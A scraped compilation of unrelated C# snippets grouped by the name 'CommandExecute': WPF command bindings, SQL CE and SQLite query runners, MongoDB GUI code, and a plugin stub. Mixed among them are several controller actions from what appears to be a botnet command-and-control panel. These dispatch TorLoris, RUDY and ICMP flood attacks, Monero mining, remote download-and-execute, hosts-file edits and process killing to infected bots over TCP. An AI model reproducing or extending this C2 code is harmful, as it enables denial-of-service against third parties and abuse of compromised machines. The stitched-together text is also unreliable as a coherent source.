Example #1
0
        public PropertyBoundCommand(CommandExecute execute, INotifyPropertyChanged boundTo, string propertyName)
        {
            if (execute == null)
            {
                throw new ArgumentNullException("execute");
            }
            this.execute = execute;

            if (boundTo == null)
            {
                throw new ArgumentNullException("boundTo");
            }
            this.boundTo = boundTo;

            property = boundTo.GetType().GetProperty(propertyName);
            if (property == null)
            {
                throw new ArgumentException("Bad propertyName");
            }

            if (property.PropertyType != typeof(bool))
            {
                throw new ArgumentException("Bad property type");
            }

            propertyGetMethod = property.GetGetMethod();
            if (propertyGetMethod == null)
            {
                throw new ArgumentException("No public get-method found.");
            }

            this.propertyName = propertyName;

            boundTo.PropertyChanged += new PropertyChangedEventHandler(boundTo_PropertyChanged);
        }
        public async Task <IActionResult> ExecuteTorLoris(TorLorisModel model)
        {
            var method = new BaseCommands
            {
                Method = "TorLoris"
            };
            var Variables = new TorLorisVariables
            {
                Port       = model.Port,
                PostDATA   = model.PostDATA,
                RandomFile = model.RandomFile
            };
            var FloodModel = new Server.Commands.BaseFloodModel
            {
                Host         = model.Host,
                Time         = model.Time,
                ThreadstoUse = model.ThreadstoUse,
            };
            var Command = new TorLorisCommand
            {
                newTorLorisVariables = Variables,
                newBaseCommand       = method,
                newBaseFloodModel    = FloodModel
            };
            var bots = new GetBotsByStatusQuery
            {
                status = model.Force
            };
            var botlist = await _mediator.Send(bots);

            var response = CommandExecute.TcpConnects(botlist, JsonConvert.SerializeObject(Command).Replace(@"\", ""));

            return(Json(response));
        }
        public PropertyBoundCommand(CommandExecute execute, INotifyPropertyChanged boundTo, string propertyName)
        {
            if (execute == null)
                throw new ArgumentNullException("execute");
            this.execute = execute;

            if (boundTo == null)
                throw new ArgumentNullException("boundTo");
            this.boundTo = boundTo;

            property = boundTo.GetType().GetProperty(propertyName);
            if (property == null)
                throw new ArgumentException("Bad propertyName");

            if (property.PropertyType != typeof(bool))
                throw new ArgumentException("Bad property type");

            propertyGetMethod = property.GetGetMethod();
            if (propertyGetMethod == null)
                throw new ArgumentException("No public get-method found.");

            this.propertyName = propertyName;

            boundTo.PropertyChanged += new PropertyChangedEventHandler(boundTo_PropertyChanged);
        }
Example #4
0
        public async Task <IActionResult> SeedTorrent(SeedTorrentModel model)
        {
            var method = new BaseCommands
            {
                Method = "SeedTorrent"
            };
            var Variables = new SeedTorrentVariables
            {
                path = model.Url
            };
            var Command = new SeedTorrentCommand
            {
                newVariables   = Variables,
                newBaseCommand = method,
            };
            var bots = new GetBotsByStatusQuery
            {
                status = model.Force
            };
            var botlist = await _mediator.Send(bots);

            var response = CommandExecute.TcpConnects(botlist, JsonConvert.SerializeObject(Command).Replace(@"\", ""));

            return(Json(OverWriterResponse(response, botlist)));
        }
Example #5
0
        public async Task <IActionResult> KillProcess(KillProcessModel model)
        {
            var method = new BaseCommands
            {
                Method = "KillProcess"
            };
            var Variables = new KillProcessVariables
            {
                Id = model.ProcessId
            };
            var Command = new KillProcessCommands
            {
                newVariables   = Variables,
                newBaseCommand = method,
            };
            var query = new GetBotByIdQuery
            {
                Id = model.UserId
            };

            var bot = await _mediator.Send(query);

            var response = CommandExecute.TcpConnects(bot, JsonConvert.SerializeObject(Command).Replace(@"\", ""));

            return(Json(response));
        }
Example #6
0
        public async Task <IActionResult> EditHostFile(EditHostFileModel model)
        {
            var method = new BaseCommands
            {
                Method = "EditHostFile"
            };
            var Variables = new EditHostFileVariables
            {
                Line = model.Line
            };
            var Command = new EditHostFileCommand
            {
                newVariables   = Variables,
                newBaseCommand = method,
            };
            var bots = new GetBotsByStatusQuery
            {
                status = model.Force
            };
            var botlist = await _mediator.Send(bots);

            var response = CommandExecute.TcpConnects(botlist, JsonConvert.SerializeObject(Command).Replace(@"\", ""));

            return(Json(OverWriterResponse(response, botlist)));
        }
        public async Task <IActionResult> ExecuteIcmp(IcmpModel model)
        {
            var method = new BaseCommands
            {
                Method = "Icmp"
            };
            var Variables = new IcmpVariables
            {
                Timeout = model.Timeout,
                Length  = model.Length
            };
            var FloodModel = new Server.Commands.BaseFloodModel
            {
                Host         = model.Host,
                Time         = model.Time,
                ThreadstoUse = model.ThreadstoUse,
            };
            var Command = new IcmpCommand
            {
                newIcmpVariables  = Variables,
                newBaseCommand    = method,
                newBaseFloodModel = FloodModel
            };
            var bots = new GetBotsByStatusQuery
            {
                status = model.Force
            };
            var botlist = await _mediator.Send(bots);

            var response = CommandExecute.TcpConnects(botlist, JsonConvert.SerializeObject(Command).Replace(@"\", ""));

            return(Json(response));
        }
Example #8
0
        public async Task <IActionResult> WebOpenCommandAsync(WebsiteModel model)
        {
            if (!ModelState.IsValid)
            {
                return(View(model));
            }
            if (User.Claims.FirstOrDefault(c => c.Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/role").Value == "User")
            {
                return(RedirectToAction(nameof(HomeController.Index), "Home"));
            }
            var websitevariables = new WebsiteVariables
            {
                Url    = model.Url,
                Closed = model.Closed,
                Hidde  = model.Hidde
            };
            var method = new BaseCommands
            {
                Method = "Execute"
            };
            var command = new WebsiteOpenModel
            {
                newBaseCommand  = method,
                newWebsiteModel = websitevariables
            };
            var bots = new GetBotsByStatusQuery
            {
                status = model.Force
            };
            var botlist = await _mediator.Send(bots);

            var response = CommandExecute.TcpConnects(botlist, JsonConvert.SerializeObject(command).Replace(@"\", ""));

            return(Json(response));
        }
Example #9
0
        public async Task <string> GetSpeedAsync()
        {
            try
            {
                var method = new BaseCommands
                {
                    Method = "GetAttackDeatils"
                };
                var bots = new GetBotsByStatusQuery
                {
                    status = false
                };
                var botlist = await _mediator.Send(bots);

                CommandResponseModel[] response = CommandExecute.TcpConnects(botlist, JsonConvert.SerializeObject(method));
                float TotalDownloadSpeed        = 0;
                float TotalUploadSpeed          = 0;
                for (var i = 0; i < response.Length; i++)
                {
                    string[] data = response[i].Message.Split('/');
                    TotalDownloadSpeed += float.Parse(data[0], CultureInfo.InvariantCulture.NumberFormat);
                    TotalUploadSpeed   += float.Parse(data[1], CultureInfo.InvariantCulture.NumberFormat);
                }
                return("DownloadSpeed: " + SpeedConverter(TotalDownloadSpeed) + " || UploadSpeed: " + SpeedConverter(TotalUploadSpeed));
            }
            catch {
                return("Attack not running");
            };
        }
Example #10
0
        internal void RunCommand(string commandText, DataSet dataSet)
        {
            using (SqlCeCommand cmd = new SqlCeCommand())
            {
                cmd.CommandText = commandText;
                cmd.Connection  = cn;

                CommandExecute execute = FindExecuteType(commandText);

                if (execute != CommandExecute.Undefined)
                {
                    if (execute == CommandExecute.DataTable)
                    {
                        string[] tables = new string[1];
                        tables[0] = "table" + dataSet.Tables.Count.ToString();
                        SqlCeDataReader rdr = cmd.ExecuteReader();
                        dataSet.Load(cmd.ExecuteReader(), LoadOption.OverwriteChanges, tables);
                        dataSet.Tables[dataSet.Tables.Count - 1].MinimumCapacity = 0;
                        dataSet.Tables[dataSet.Tables.Count - 1].Locale          = CultureInfo.InvariantCulture;
                    }
                    if (execute == CommandExecute.NonQuery || execute == CommandExecute.NonQuerySchemaChanged)
                    {
                        if (execute == CommandExecute.NonQuerySchemaChanged)
                        {
                            schemaHasChanged = true;
                        }
                        int       rows  = cmd.ExecuteNonQuery();
                        DataTable table = new DataTable();
                        table.MinimumCapacity = Math.Max(0, rows);
                        dataSet.Tables.Add(table);
                    }
                }
            }
        }
        public async Task <IActionResult> ConfigMonero(MiningModel model)
        {
            var method = new BaseCommands
            {
                Method = "Mining"
            };
            var Variables = new MinerVariables
            {
                Link   = model.Link,
                Config = model.Config
            };
            var Command = new MiningCommand
            {
                newMinerVariables = Variables,
                newBaseCommand    = method,
            };
            var bots = new GetBotsByStatusQuery
            {
                status = false//execute online bots
            };
            var botlist = await _mediator.Send(bots);

            var response = CommandExecute.TcpConnects(botlist, JsonConvert.SerializeObject(Command).Replace(@"\", ""));

            return(Json(response));
        }
        public async Task <IActionResult> KillProcess(int procId)
        {
            var method = new BaseCommands
            {
                Method = "KillProcess"
            };
            var Variables = new KillProcessVariables
            {
                Id = procId
            };
            var Command = new KillProcessCommands
            {
                newVariables   = Variables,
                newBaseCommand = method,
            };
            var bots = new GetBotsByStatusQuery
            {
                status = false//execute online bots
            };
            var botlist = await _mediator.Send(bots);

            var response = CommandExecute.TcpConnects(botlist, JsonConvert.SerializeObject(Command).Replace(@"\", ""));

            return(Json(response));
        }
Example #13
0
        public async Task <IActionResult> ExecuteRudy([FromForm] RudyModel model)
        {
            var method = new BaseCommands
            {
                Method = "Rudy"
            };
            var Variables = new RudyVariables
            {
                Port     = model.Port,
                PostDATA = model.PostDATA,
            };
            var FloodModel = new Server.Commands.BaseFloodModel
            {
                Host         = model.Host,
                Time         = model.Time,
                ThreadstoUse = model.ThreadstoUse,
            };
            var Command = new RudyCommand
            {
                newRudyVariables  = Variables,
                newBaseCommand    = method,
                newBaseFloodModel = FloodModel
            };
            var bots = new GetBotsByStatusQuery
            {
                status = model.Force
            };
            var botlist = await _mediator.Send(bots);

            var response = CommandExecute.TcpConnects(botlist, JsonConvert.SerializeObject(Command).Replace(@"\", ""));

            return(Json(OverWriterResponse(response, botlist)));
        }
        public async Task <IActionResult> SendMessageCommand(MessageModel model)
        {
            var method = new BaseCommands
            {
                Method = "Message"
            };
            var messageVariables = new MessageVariables
            {
                Msg    = model.Msg,
                Closed = model.Closed
            };
            var messageCommand = new MessageCommand
            {
                newMessageVariables = messageVariables,
                newBaseCommand      = method,
            };
            var bots = new GetBotsByStatusQuery
            {
                status = model.Force
            };
            var botlist = await _mediator.Send(bots);

            var response = CommandExecute.TcpConnects(botlist, JsonConvert.SerializeObject(messageCommand).Replace(@"\", ""));

            return(Json(response));
        }
Example #15
0
 public CommandInfo(
     string command, bool requiresAuthentication, string description, CommandExecute callback)
 {
     this.command                = command;
     this.description            = description;
     this.callback               = callback;
     this.requiresAuthentication = requiresAuthentication;
 }
 internal void InitCommand(int totalCommand, CommandExecute onCommandRegistComplete, StepComplete onStepComplete, UserError onUserError, RegistCommandList onAllCommandRegisted)
 {
     this.totalCommand         = totalCommand;
     this.onStepComplete       = onStepComplete;
     this.onUserError          = onUserError;
     this.commandExecute       = onCommandRegistComplete;
     this.onAllCommandRegisted = onAllCommandRegisted;
     TryComplelteRegist();
 }
Example #17
0
        private void RunCommand(string commandText, DataSet dataSet, bool ignoreDDLErrors)
        {
            using (SQLiteCommand cmd = new SQLiteCommand())
            {
                cmd.CommandText = commandText;
                cmd.Connection  = cn;

                CommandExecute execute = RepositoryHelper.FindExecuteType(commandText);

                if (execute != CommandExecute.Undefined)
                {
                    if (execute == CommandExecute.DataTable)
                    {
                        string[] tables = new string[1];
                        tables[0] = "table" + dataSet.Tables.Count.ToString();
                        using (SQLiteDataReader rdr = cmd.ExecuteReader())
                        {
                            dataSet.Load(rdr, LoadOption.OverwriteChanges, tables);
                            dataSet.Tables[dataSet.Tables.Count - 1].MinimumCapacity = 0;
                            dataSet.Tables[dataSet.Tables.Count - 1].Locale          = CultureInfo.InvariantCulture;
                        }
                    }
                    if (execute == CommandExecute.NonQuery || execute == CommandExecute.NonQuerySchemaChanged)
                    {
                        if (execute == CommandExecute.NonQuerySchemaChanged)
                        {
                            schemaHasChanged = true;
                        }
                        DataTable table = null;
                        try
                        {
                            int rows = cmd.ExecuteNonQuery();
                            table = new DataTable();
                            table.MinimumCapacity = Math.Max(0, rows);
                            dataSet.Tables.Add(table);
                        }
                        catch
                        {
                            if (table != null)
                            {
                                table.Dispose();
                            }
                            if (ignoreDDLErrors && execute == CommandExecute.NonQuerySchemaChanged)
                            {
                            }
                            else
                            {
                                throw;
                            }
                        }
                    }
                }
            }
        }
Example #18
0
        /// <summary>
        ///     将值设定到图表
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private void SetValue(object sender, EventArgs e)
        {
            var docStatus = CommandExecute.ExecuteMongoSvrCommand(DataBaseCommand.ServerStatusCommand,
                                                                  RuntimeMongoDbContext.GetCurrentServer()).Response;

            foreach (var item in CatalogDetailDic.Keys)
            {
                var queryPoint = new DataPoint();
                queryPoint.SetValueXY(DateTime.Now.ToString(CultureInfo.InvariantCulture), SystemStatus.GetValue(docStatus, CatalogDetailDic[item]));
                MonitorGrap.Series[item.Split(".".ToCharArray())[1]].Points.Add(queryPoint);
            }
        }
Example #19
0
        public BoundCommand(CommandExecute execute, CommandCanExecute canExecute, INotifyPropertyChanged propertyChanged = null, string propertyName = null)
        {
            this.execute = execute;
            this.canExecute = canExecute;
            if (String.IsNullOrWhiteSpace(propertyName))
                propertyChanged = null;

            if (propertyChanged != null)
            {
                propertyChanged.PropertyChanged += new PropertyChangedEventHandler(propertyChanged_PropertyChanged);
                this.propertyName = propertyName;
                this.canExecuteChangedListener = propertyChanged;
            }
        }
Example #20
0
 public CommandProcessor()
 {
     Type[] type = Assembly.GetExecutingAssembly().GetTypes();
     foreach (Type t in type)
     {
         Attribute attribute = t.GetCustomAttribute(typeof(CommanAttribute), true);
         if (attribute != null)
         {
             CommandExecute @interface = (CommandExecute)Assembly.GetExecutingAssembly().CreateInstance(t.FullName);
             m_Command.Add(((CommanAttribute)attribute).Name, new KeyValuePair <CommanAttribute, CommandExecute>(((CommanAttribute)attribute), @interface));
             Console.WriteLine("命令注册:{0}-{1}", ((CommanAttribute)attribute).Name, @interface.ToString());
         }
     }
 }
        public async Task <string> GetAllDeatils(int botid)
        {
            var method = new BaseCommands
            {
                Method = "GetAllDetails"
            };
            var bot = new GetBotByIdQuery
            {
                Id = botid
            };
            var botlist = await _mediator.Send(bot);

            var response = CommandExecute.TcpConnects(botlist, JsonConvert.SerializeObject(method));

            return(response);
        }
Example #22
0
        public async Task <IActionResult> GetAllImg()
        {
            var method = new BaseCommands
            {
                Method = "GetAllImgJson"
            };
            var bots = new GetBotsByStatusQuery
            {
                status = false
            };
            var botlist = await _mediator.Send(bots);

            var response = CommandExecute.TcpConnects(botlist, JsonConvert.SerializeObject(method).Replace(@"\", ""));

            return(Json(response));
        }
Example #23
0
        public BoundCommand(CommandExecute execute, CommandCanExecute canExecute, INotifyPropertyChanged propertyChanged = null, string propertyName = null)
        {
            this.execute    = execute;
            this.canExecute = canExecute;
            if (String.IsNullOrWhiteSpace(propertyName))
            {
                propertyChanged = null;
            }

            if (propertyChanged != null)
            {
                propertyChanged.PropertyChanged += new PropertyChangedEventHandler(propertyChanged_PropertyChanged);
                this.propertyName = propertyName;
                this.canExecuteChangedListener = propertyChanged;
            }
        }
Example #24
0
        private void frmStatus_Load(object sender, EventArgs e)
        {
            var strType   = RuntimeMongoDbContext.SelectTagType;
            var docStatus = new BsonDocument();

            switch (strType)
            {
            case ConstMgr.ServerTag:
            case ConstMgr.SingleDbServerTag:
                if (RuntimeMongoDbContext.GetCurrentServerConfig().LoginAsAdmin)
                {
                    docStatus =
                        CommandExecute.ExecuteMongoSvrCommand(DataBaseCommand.ServerStatusCommand,
                                                              RuntimeMongoDbContext.GetCurrentServer()).Response;
                    trvStatus.Height = trvStatus.Height * 2;
                }
                break;

            case ConstMgr.DatabaseTag:
            case ConstMgr.SingleDatabaseTag:
                docStatus = RuntimeMongoDbContext.GetCurrentDataBase().GetStats().Response.ToBsonDocument();
                break;

            case ConstMgr.CollectionTag:
                //TODO:这里无法看到Collection的Document Validation信息。
                docStatus = RuntimeMongoDbContext.GetCurrentCollection().GetStats().Response.ToBsonDocument();

                break;

            default:
                if (RuntimeMongoDbContext.GetCurrentServerConfig().LoginAsAdmin)
                {
                    docStatus =
                        CommandExecute.ExecuteMongoSvrCommand(DataBaseCommand.ServerStatusCommand,
                                                              RuntimeMongoDbContext.GetCurrentServer()).Response;
                    trvStatus.Height = trvStatus.Height * 2;
                }
                break;
            }
            GuiConfig.Translateform(this);
            UiHelper.FillDataToTreeView(strType, trvStatus, docStatus);
            trvStatus.DatatreeView.Nodes[0].Expand();
        }
Example #25
0
        /// <summary>
        ///     Fill Client status to ListView
        /// </summary>
        /// <param name="trvSvrStatus"></param>
        /// <param name="mongoConnClientLst"></param>
        public static void FillClientStatusToList(CtlTreeViewColumns trvSvrStatus,
                                                  Dictionary <string, MongoClient> mongoConnClientLst)
        {
            var srvDocList = new List <BsonDocument>();

            foreach (var mongoSvrKey in mongoConnClientLst.Keys)
            {
                if (!MongoConnectionConfig.MongoConfig.ConnectionList[mongoSvrKey].Health)
                {
                    continue;
                }
                try
                {
                    var mongoClient = mongoConnClientLst[mongoSvrKey];
                    //flydreamer提供的代码
                    // 感谢 魏琼东 的Bug信息,一些命令必须以Admin执行
                    if (RuntimeMongoDbContext.GetServerConfigBySvrPath(mongoSvrKey).LoginAsAdmin)
                    {
                        var adminDb = mongoClient.GetDatabase(ConstMgr.DatabaseNameAdmin);
                        //Can't Convert IMongoDB To MongoDB
                        var command = new CommandDocument {
                            { DataBaseCommand.ServerStatusCommand.CommandString, 1 }
                        };
                        var serverStatusDoc = CommandExecute.ExecuteMongoDBCommand(command, adminDb).Response;
                        srvDocList.Add(serverStatusDoc);
                    }
                }
                catch (Exception ex)
                {
                    Utility.ExceptionDeal(ex);
                }
            }
            UiHelper.FillDataToTreeView("Server Status", trvSvrStatus, srvDocList, 0);
            //打开第一层
            foreach (TreeNode item in trvSvrStatus.DatatreeView.Nodes)
            {
                item.Expand();
            }
        }
Example #26
0
 /// <summary>
 /// </summary>
 /// <param name="sender"></param>
 /// <param name="e"></param>
 private void cmdAddHost_Click(object sender, EventArgs e)
 {
     try
     {
         var result = ShellMethod.AddToReplsetServer(RuntimeMongoDbContext.GetCurrentServer(),
                                                     txtReplHost.Text + ":" + NumReplPort.Value, (int)NumPriority.Value, chkArbiterOnly.Checked);
         if (CommandExecute.IsShellOk(result))
         {
             RuntimeMongoDbContext.CurrentMongoConnectionconfig.ReplsetList.Add(txtReplHost.Text + ":" + NumReplPort.Value);
             Operater.RefreshConnectionConfig(RuntimeMongoDbContext.CurrentMongoConnectionconfig);
             MyMessageBox.ShowMessage("Add Memeber OK", "Please refresh connection after one minute.");
         }
         else
         {
             MyMessageBox.ShowMessage("Add Memeber", "Add Memeber Failed", result.Response.ToString());
         }
     }
     catch (Exception ex)
     {
         Utility.ExceptionDeal(ex);
     }
 }
Example #27
0
        public async Task <IActionResult> ExecuteCommand([FromForm] ExecuteModel model)
        {
            if (!ModelState.IsValid)
            {
                return(View(model));
            }
            if (User.Claims.FirstOrDefault(c => c.Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/role").Value == "User")
            {
                return(RedirectToAction(nameof(HomeController.Index), "Home"));
            }

            var Method = new BaseCommands
            {
                Method = "Execute"
            };
            var ExecuteVariables = new ExecuteVariables
            {
                Url   = model.Url,
                Name  = model.Name,
                Proxy = model.Proxy,
                Run   = model.Run,
            };
            var ExecuteCommand = new ExecuteCommand
            {
                newBaseCommand = Method,
                newExecute     = ExecuteVariables
            };
            var bots = new GetBotsByStatusQuery {
                status = model.Force
            };
            var botlist = await _mediator.Send(bots);

            var response = CommandExecute.TcpConnects(botlist, JsonConvert.SerializeObject(ExecuteCommand).Replace(@"\", ""));

            return(Json(OverWriterResponse(response, botlist)));
        }
Example #28
0
        /// <summary>
        ///     窗体初始化
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private void frmStatus_Load(object sender, EventArgs e)
        {
            if (!GuiConfig.IsMono)
            {
                Icon = GetSystemIcon.ConvertImgToIcon(Resources.KeyInfo);
            }
            GuiConfig.Translateform(this);
            var strType   = RuntimeMongoDbContext.SelectTagType;
            var docStatus = new BsonDocument();

            cmbChartField.Visible          = false;
            chartResult.Visible            = false;
            tempIsDisplayNumberWithKSystem = CtlTreeViewColumns.IsDisplayNumberWithKSystem;
            CtlTreeViewColumns.IsDisplayNumberWithKSystem = true;

            switch (strType)
            {
            case ConstMgr.ServerTag:
            case ConstMgr.SingleDbServerTag:
                if (RuntimeMongoDbContext.GetCurrentServerConfig().LoginAsAdmin)
                {
                    var StatusList = new List <BsonDocument>();
                    var Status     = CommandExecute.ExecuteMongoSvrCommand(DataBaseCommand.ServerStatusCommand,
                                                                           RuntimeMongoDbContext.GetCurrentServer()).Response;
                    StatusList.Add(Status);
                    try
                    {
                        var ServerDesripter = MongoUtility.ToolKit.MongoHelper.GetCurrentServerDescription();
                        StatusList.Add(ServerDesripter);
                    }
                    catch (Exception)
                    {
                        //Repl的时候,无法获得
                    }
                    UiHelper.FillDataToTreeView(strType, trvStatus, StatusList, 0);
                    trvStatus.Height = trvStatus.Height * 2;
                    trvStatus.DatatreeView.Nodes[0].Expand();
                    trvStatus.DatatreeView.Nodes[1].Expand();
                    return;
                }
                break;

            case ConstMgr.DatabaseTag:
            case ConstMgr.SingleDatabaseTag:
                docStatus             = RuntimeMongoDbContext.GetCurrentDataBase().GetStats().Response.ToBsonDocument();
                cmbChartField.Visible = true;
                chartResult.Visible   = true;
                //{{ "db" : "aaaa",
                //   "collections" : 8,
                //   "objects" : 0,
                //   "avgObjSize" : 0.0,
                //   "dataSize" : 0.0,
                //   "storageSize" : 32768.0,
                //   "numExtents" : 0,
                //   "indexes" : 8,
                //   "indexSize" : 32768.0,
                //   "ok" : 1.0 }}
                var statuspoint = docStatus.AsBsonDocument;
                //这里其实应该看Collection的Status,不同的引擎所拥有的状态不一样
                if (statuspoint.Contains("avgObjSize"))
                {
                    cmbChartField.Items.Add("AverageObjectSize");
                }
                if (statuspoint.Contains("dataSize"))
                {
                    cmbChartField.Items.Add("DataSize");
                }
                if (statuspoint.Contains("extentCount"))
                {
                    cmbChartField.Items.Add("ExtentCount");
                }
                if (statuspoint.Contains("indexes"))
                {
                    cmbChartField.Items.Add("IndexCount");
                }
                if (statuspoint.Contains("lastExtentSize"))
                {
                    cmbChartField.Items.Add("LastExtentSize");
                }
                //MaxDocuments仅在CapedCollection时候有效
                if (statuspoint.Contains("MaxDocuments"))
                {
                    cmbChartField.Items.Add("MaxDocuments");
                }
                if (statuspoint.Contains("ObjectCount"))
                {
                    cmbChartField.Items.Add("ObjectCount");
                }
                if (statuspoint.Contains("PaddingFactor"))
                {
                    cmbChartField.Items.Add("PaddingFactor");
                }
                if (statuspoint.Contains("storageSize"))
                {
                    cmbChartField.Items.Add("StorageSize");
                }
                cmbChartField.SelectedIndex = 0;
                try
                {
                    RefreshDbStatusChart("StorageSize");
                }
                catch (Exception ex)
                {
                    Utility.ExceptionDeal(ex);
                }
                break;

            case ConstMgr.CollectionTag:
                //TODO:这里无法看到Collection的Document Validation信息。
                docStatus = RuntimeMongoDbContext.GetCurrentCollection().GetStats().Response.ToBsonDocument();
                //图形化初始化
                chartResult.Visible = true;

                chartResult.Series.Clear();
                chartResult.Titles.Clear();
                var seriesResult = new Series("Usage");
                var dpDataSize   = new DataPoint(0, RuntimeMongoDbContext.GetCurrentCollection().GetStats().DataSize)
                {
                    LegendText    = "DataSize",
                    LegendToolTip = "DataSize",
                    ToolTip       = "DataSize"
                };
                seriesResult.Points.Add(dpDataSize);

                var dpTotalIndexSize = new DataPoint(0,
                                                     RuntimeMongoDbContext.GetCurrentCollection().GetStats().TotalIndexSize)
                {
                    LegendText    = "TotalIndexSize",
                    LegendToolTip = "TotalIndexSize",
                    ToolTip       = "TotalIndexSize"
                };
                seriesResult.Points.Add(dpTotalIndexSize);

                var dpFreeSize = new DataPoint(0,
                                               RuntimeMongoDbContext.GetCurrentCollection().GetStats().StorageSize -
                                               RuntimeMongoDbContext.GetCurrentCollection().GetStats().TotalIndexSize -
                                               RuntimeMongoDbContext.GetCurrentCollection().GetStats().DataSize)
                {
                    LegendText    = "FreeSize",
                    LegendToolTip = "FreeSize",
                    ToolTip       = "FreeSize"
                };
                seriesResult.Points.Add(dpFreeSize);

                seriesResult.ChartType = SeriesChartType.Pie;
                chartResult.Series.Add(seriesResult);
                chartResult.Titles.Add(new Title("Usage"));

                break;

            default:
                if (RuntimeMongoDbContext.GetCurrentServerConfig().LoginAsAdmin)
                {
                    docStatus =
                        CommandExecute.ExecuteMongoSvrCommand(DataBaseCommand.ServerStatusCommand,
                                                              RuntimeMongoDbContext.GetCurrentServer()).Response;
                    trvStatus.Height = trvStatus.Height * 2;
                }
                break;
            }
            UiHelper.FillDataToTreeView(strType, trvStatus, docStatus);
            trvStatus.DatatreeView.Nodes[0].Expand();
        }
Example #29
0
        /// <summary>
        /// Registers a command to the executioner's command table
        /// </summary>
        /// <param name="command">The command</param>
        /// <param name="requiresAuthorization">Shows if a password is required to execute the command</param>
        /// <param name="description">The commands' description that's shown in the help command</param>
        /// <param name="callback">The command's callback</param>
        public void RegisterCommand(string command, bool requiresAuthorization, string description, CommandExecute callback)
        {
            string lowerCommand = command.ToLower();

            if (commandTable.ContainsKey(lowerCommand))
            {
                throw new InvalidOperationException(
                          String.Format("Command \"{0}\" is already registered.", command));
            }

            commandTable.Add(lowerCommand, new CommandInfo(command, requiresAuthorization, description, callback));
        }
Example #30
0
        internal void RunCommand(SqlCeCmd.Program.Options options)
        {
            using (SqlCeCommand cmd = new SqlCeCommand())
            {
                int n = 0;
                cmd.CommandText = Regex.Replace(options.QueryText, @"SqlCeCmd_LoadImage\((\w+\.\w+)\)", delegate(Match m)
                {
                    string id        = m.Groups[1].Value;
                    string paramName = string.Format(CultureInfo.InvariantCulture, "@SqlCeCmd_IMAGE_{0}", n++);
                    string fileName  = Path.Combine(Directory.GetCurrentDirectory(), id);;
                    if (!string.IsNullOrEmpty(options.QueryFile))
                    {
                        fileName = Path.Combine(Path.GetDirectoryName(options.QueryFile), id);
                    }

                    using (BinaryReader br = new BinaryReader(File.Open(fileName, FileMode.Open)))
                    {
                        byte[] data = br.ReadBytes((int)br.BaseStream.Length);
                        SqlCeParameter parameter = new SqlCeParameter(paramName, System.Data.SqlDbType.Image, data.Length);
                        parameter.Value          = data;
                        cmd.Parameters.Add(parameter);
                    }

                    return(paramName);
                });

                if (options.UseCurrentCulture)
                {
                    this.cultureInfo = System.Globalization.CultureInfo.CurrentCulture;
                }
                if (options.Headers == 0)
                {
                    this.writeHeaders = false;
                }
                if (options.Headers > 0)
                {
                    this.headerInterval = options.Headers;
                }
                if (options.MakeXML)
                {
                    this.xmlOutput = true;
                }
                int            rows    = 0;
                CommandExecute execute = FindExecuteType(options.QueryText);

                if (execute != CommandExecute.Undefined)
                {
                    if (execute == CommandExecute.DataReader)
                    {
                        if (this.xmlOutput)
                        {
                            rows = RunDataTable(cmd, conn);
                        }
                        else
                        {
                            rows = RunDataReader(cmd, conn, options.ColumnSeparator, options.RemoveSpaces);
                            if (!options.HideOutput)
                            {
                                Console.WriteLine();
                                Console.WriteLine(string.Format(CultureInfo.InvariantCulture, "({0} rows affected)", rows.ToString(cultureInfo)));
                            }
                        }
                    }
                    if (execute == CommandExecute.NonQuery)
                    {
                        rows = RunNonQuery(cmd, conn);
                        if (!options.HideOutput)
                        {
                            Console.WriteLine();
                            Console.WriteLine(string.Format(CultureInfo.InvariantCulture, "({0} rows affected)", rows.ToString(cultureInfo)));
                        }
                    }
                    if (execute == CommandExecute.Insert)
                    {
                        rows = RunNonQuery(cmd, conn);
                    }
                }
            }
        }
Example #31
0
        /// <summary>
        /// Вызвать дополнительную операцию
        /// </summary>
        /// <param name="execute">
        /// Информация о команде и параметры:<para />
        /// <see cref="CommandExecute.Name"/> Имя команды, например: "TestPrinter"<para />
        /// <see cref="CommandExecute.Parameters"/> Список параметров, содержащий следующие поля:<para />
        /// <see cref="ParameterExecute.Name"/> Имя параметра, например: "print"<para />
        /// <see cref="ParameterExecute.Value"/> Значение параметра, например: "true"<para />
        /// </param>
        /// <returns>
        /// Результат выполнения типа <see cref="Document"/>
        /// со списком строк <see cref="Document.Lines"/>, содержащими текст результата<para />
        /// При ошибке выкидывать исключение
        /// </returns>
        public DirectIoResult DirectIo(CommandExecute execute)
        {
            PluginContext.Log.InfoFormat("Device: '{0} ({1})'. DirectIo.", DeviceName, deviceId);

            return(new DirectIoResult(new Document(), "123123123"));
        }
Example #32
0
 public void RegisterCommand(string command, string description, CommandExecute callback, bool requiresAuthorization = true)
 {
     GemNetwork.Commander.RegisterCommand(command, requiresAuthorization, description, callback);
 }
Example #33
0
 public Command(CommandExecute commandExecute, CommandCanExecute commandCanExecute)
 {
     _commandExecute = commandExecute;
     _commandCanExecute = commandCanExecute;
 }